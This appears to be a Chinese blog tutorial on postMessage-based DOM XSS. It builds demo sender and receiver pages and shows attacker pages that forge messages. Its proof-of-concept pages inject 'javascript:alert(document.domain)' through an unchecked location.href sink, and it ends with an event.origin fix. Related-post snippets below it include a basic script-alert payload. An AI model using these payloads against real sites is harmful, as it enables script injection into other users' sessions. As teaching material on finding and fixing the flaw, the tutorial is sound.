PostMessage xss学习和挖掘
PostMessage xss很有趣,在国外出现了很多次,国内src/众测从没遇到过,挖到过。可能境界还不够,有机会再去试试。好几年前记得心血来潮学过一次,都是半知半解,后来因为重要性不高,不了了之了,今天重新捡起来。
PostMessage的含义:参考MDN:
Window.postmessage()方法可以安全地实现Window对象之间的跨源通信;例如,在页面和它派生的弹出窗口之间,或者在页面和其内嵌的iframe之间。
简单点来说,我是这样理解的:发送相应数据到目标页面,目标页面接收传输的数据并进行处理。
具体理论详情参考:https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
废话不多说,先准备环境:一台闲置vps:
搭建两个环境页面:
demo1.html:代发送数据的页面:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
function openChild() {
child = window.open('demo2.html', 'popup', 'height=300px, width=500px');
}
function sendMessage(){
//发送的数据内容
let msg={pName : "jack", pAge: "12"};
//发送消息数据数据到任意目标源, *指的是任意anyone
child.postMessage(msg,'*');
}
</script>
</head>
<body>
<form>
<fieldset>
<input type='button' id='btnopen' value='Open child' onclick='openChild();' />
<input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' />
</fieldset>
</form>
</body>
</html>
demo2.html:代监听发送的数据,接收消息数据页面:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
//添加事件监控消息
window.addEventListener("message", (event)=>{
let txt=document.getElementById("msg");
//接收传输过来的变量数据
txt.value=`Name is ${event.data.pName} Age is ${event.data.pAge}` ; });
</script>
</head>
<body>
<form>
<h1>postMessage学习</h1>
<input type='text' id='msg'/>
</form>
</body>
</html>
访问:http://119.45.227.86/postmessage/demo1.html

第二步:f12子窗口,找到监听代码:

然后选择主窗口,点击Send Messsage:
查看子窗口,接收数据成功:

这样我们就完成了一次:发送数据->接收数据的一个过程
了解了基础的使用,下面是关于PostMessgae XSS的安全隐患:
(1):数据伪造:
因为发送数据中,使用的是*,并没有限制目标源,导致可以通过任意地址给http://119.45.227.86/postmessage/demo2.html发送数据:
attacker.html:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
childwin = window.open('http://119.45.227.86/postmessage/demo2.html'); function sendMessage(){
let msg={pName : "attacker", pAge: "16"};
childwin.postMessage(msg,'*')
} (function(){setTimeout("sendMessage()",1000);}());
</script>
</head>
</html>
直接本地localhost(模拟攻击者vps)访问:

发现通过攻击者vps成功修改了传输过去的数据,原来是
Name is jack Age is 12
后被更改成:
Name is attacker Age is 16
(2)接收处的处理不当导致的dom xss:
测试环境:http://119.45.227.86/postmessage/xss.html
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
window.addEventListener("message", (event)=>{
location.href=`${event.data.url}`;
});
</script>
</head>
</html>
location.href="数据",这里可控,可以url跳转,也可以xss
利用poc:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
childwin = window.open('http://119.45.227.86/postmessage/xss.html'); function sendMessage(){
let msg={url:"javascript:alert(document.domain)"};
// In production, DO NOT use '*', use toe target domain
childwin.postMessage(msg,'*')// childwin is the targetWindow
} (function(){setTimeout("sendMessage()",1000);}());
</script>
</head>
</html>
本地访问跳转即触发xss: 
利用成功。利用poc2:
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<iframe name="test" src="http://119.45.227.86/postmessage/xss.html" onload="xss()"></iframe>
</body>
<script type="text/javascript">
var iframe = window.frames.test function xss(){
let msg={"url":"javascript:alert(document.domain)"};
iframe.postMessage(msg,'*');
}
</script>
</html
本地访问:
直接打开即触发xss:

修复缓解方案:
http://119.45.227.86/postmessage/xss_renovate.html
测试代码:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
window.addEventListener("message", (event)=>{
if (event.origin !== "http://119.45.227.86"){
return;
}
location.href=`${event.data.url}`;
});
</script>
</head>
<body> </body>
</html>
限制目标源为指定:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script>
childwin = window.open('http://119.45.227.86/postmessage/xss.html'); function sendMessage(){
let msg={url:"javascript:alert(document.domain)"};
childwin.postMessage(msg,'xss_renovate.html')
} (function(){setTimeout("sendMessage()",1000);}());
</script>
</head>
</html>
再次访问,没有弹窗xss了:
1.限制发送目标,禁止使用*
2.限制接收数据event.origin,使用指定信任域
PostMessage xss学习和挖掘的更多相关文章
- XSS学习(三)挖掘思路
HTML标签之间 <div id="body"> [输出点] </div> payload:<script>alert(1)</scrip ...
- 第四次:渗透练习,xss学习
xss学习 一.学习目的 初步了解xss攻击,不包括(DOM类型) 二.附加说明 1.xss介绍 https://baike.baidu.com/item/XSS%E6%94%BB%E5%87%BB/ ...
- 一次xss的黑盒挖掘和利用过程
挖掘过程一: 自从上一次投稿,已经好久好久没写文章了.今天就着吃饭的时间,写篇文章,记录下自己学习xss这么久的心得.在我看来.Xss就是javascript注入,你可以在js语法规定的范畴内做任何事 ...
- XSS学习(未完..)
前言 XSS 漏洞原理非常简单,实际应用中非常灵活,于是通过 prompt(1) to win 来学习学习 正文 工具 分析正则表达式 https://regex101.com/ http://xss ...
- xss学习教程
XSS漏洞详细分析与讲解.rar xss黑白盒渗透测试.pdf xss基础钓鱼-shgcx.com.zip XSS利用教程-shgcx.com.zip xss盲打渗透网站.doc XSS挖掘.ppt ...
- XSS学习笔记(四)-漏洞利用全过程
<script type="text/javascript" reload="1">setTimeout("window.location ...
- XSS学习笔记(一个)-点击劫持
所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的.一般都是获取用户的C ...
- XSS学习笔记(五)-XSS防御
如果只生产XSS的地方都与输入或输出相关联的.所以错过了主要矛盾.而且,我们将有一个解决问题的办法:您可以输入端砚格过滤,是可能的过滤输出时间,输出到用户的GET或POST中是否有敏感字符: 输入过滤 ...
- 【转载】XSS学习笔记
XSS的分类 非持久型 非持久型XSS也称反射型XSS.具体原理就是当用户提交一段代码的时候,服务端会马上返回页面的执行结果.那么当攻击者让被攻击者提交一个伪装好的带有恶意代码的链接时,服务端也会立刻 ...
随机推荐
- Java流程控制:选择结构
一.选择结构 选择结构用于判断给定的条件,根据判断的结果来控制程序的流程. Java中选择结构的语法主要分为'if...else'语句和'switch...case'语句. Java中选择结构语句在语 ...
- Go的switch
目录 go的switch 一.语法 二.默认情况 三.多表达式判断 四.无表达式 五.Fallthrough go的switch switch 是一个条件语句,用于多条件匹配,可以替换多个if els ...
- Java数组之选择排序
选择排序 package com.kangkang.array; import java.util.Arrays; public class demo04 { public static void m ...
- C# 中 string.Empty、""、null的差别
一.string.Empty 和 "" 原文1 原文2 1. ...
- nc替代ping
linux nc介绍: 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p< ...
- Python之内存泄漏和内存溢出
预习知识:python之MRO和垃圾回收机制 一.内存泄漏 像Java程序一样,虽然Python本身也有垃圾回收的功能,但是同样也会产生内存泄漏的问题.对于一个用 python 实现的,长期运行的后台 ...
- 3.DataFrame的增删改查
以此为例 一.DataFrame的初步认知 在pandas中完成数据读取后数据以DataFrame保存.在操作时要以DataFrame函数进行了解 函数 含义 示例 values 元素 index 索 ...
- Mardown语法
1.什么是Markdown Mardown是一种文本标记语言,使用它,能让我们更加专注于内容的输出,而不是排版样式. 我们平常使用的.txt文档书写的文字是没有样式的,使用Markdown语法就可以给 ...
- 菜刀jsp小马
逛google收获小马一枚,收藏一下 <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*&q ...
- .NET团队送给.NET开发人员的云原生学习资源
企业正在迅速采用云的功能来满足用户需求,提高应用程序的可伸缩性和可用性.要完全拥抱云并优化节约成本,就需要在设计应用程序时考虑到云的环境,也就是要用云原生的应用开发方法.这意味着不仅要更改应用程序的构 ...